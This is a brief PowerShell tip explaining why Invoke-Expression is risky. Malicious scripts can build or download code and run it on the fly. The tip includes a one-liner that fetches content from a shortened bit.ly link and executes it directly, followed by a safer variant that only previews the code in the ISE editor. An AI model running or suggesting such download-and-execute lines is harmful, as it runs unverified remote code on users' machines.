Why Invoke-Expression is Evil

by Sep 17, 2015

Invoke-Expression takes any string and treats it as PowerShell code. This way, you could construct dynamic code, and then execute it.

Invoke-Expression is a very dangerous cmdlet because not only you can create dynamic code. Malicious scripts could mask dangerous code by "constructing" it on the fly, or by downloading it from some web site.

Here is a safe and funny example illustrating how code can be downloaded and executed:

#requires -Version 3

Invoke-Expression -Command (Invoke-WebRequest -Uri 'http://bit.ly/e0Mw9w' -UseBasicParsing).Content

If you don’t want to be surprised, this line gives you a preview of what is happening here. Make sure you run it from within the PowerShell ISE. It displays the PowerShell code that was downloaded from the internet, rather than executing it right away:

#requires -Version 3

$file = $psise.CurrentPowerShellTab.Files.Add()

$file.Editor.text = (Invoke-WebRequest -Uri 'http://bit.ly/e0Mw9w' -UseBasicParsing).Content

Twitter This Tip! ReTweet this Tip!